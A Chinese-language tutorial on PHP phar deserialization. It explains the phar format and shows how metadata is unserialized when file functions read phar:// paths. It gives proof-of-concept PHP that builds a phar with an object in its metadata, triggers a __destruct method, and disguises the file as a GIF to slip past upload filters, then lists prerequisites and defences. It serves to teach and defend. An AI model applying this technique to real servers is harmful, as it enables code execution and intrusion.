通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserializ(),
随着代码安全性越来越高,利用难度也越来越大。
利用phar文件会以序列化的形式储存用户自定义的meta-data这一特性,扩展了php反序列漏洞的攻击面。
该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以
不依赖unserialize()直接进行反序列化操作。
0X01
phar文件结构
1.a stub
可以理解为一个标志,格式为xxx,前期内容不限,但必须以HALT_COMPILER();?>来结尾,
否则phar扩展无法识别其为phar文件。
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都存放在这一部分中。
这部分将会以序列化的形式存储用户自定义的meta-data。
3.the file contents
被压缩文件内容。
4.[optional]a signature for verifying Phar integrity(phar file foformat only)
签名,放在文件末尾,目前支持的两种签名格式是MD5和SHA1。
漏洞触发点在使用phar://协议读取文件的时候,文件内容会被解析成phar对象,
然后phar对象内的meta-data会被反序列化。
meta-data是用serialize()生成并保存在phar文件中,当内核调用phar_parse_metadata()解析meta-data数据时,
会调用php_var_unserialize()对其进行反序列化操作,因此会造成反序列化漏洞。
0X02
前提:
phar_gen.php文件
php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub(""); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
执行生成phar.phar文件
phar_test1.php文件
php
class TestObject {
public function __destruct() {
echo 'Destruct called';
#@eval('phpinfo();');
}
}
$filename = 'phar://phar.phar/test.txt';
file_get_contents($filename); //file_get_contents — 将整个文件读入一个字符串
?>
和phar.phar在同一文件夹下运行
0X03
将phar文件伪造成其他格式的文件
通过伪造文件可以绕过一些文件上传限制。
php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub,增加gif文件头
$o = new TestObject();
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
0X04
实际利用
phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
0X05
防御
在文件系统函数的参数可控时,对参数进行严格的过滤。
严格检查上传文件的内容,而不是只检查文件头。
在条件允许的情况下禁用可执行系统命令、代码的危险函数。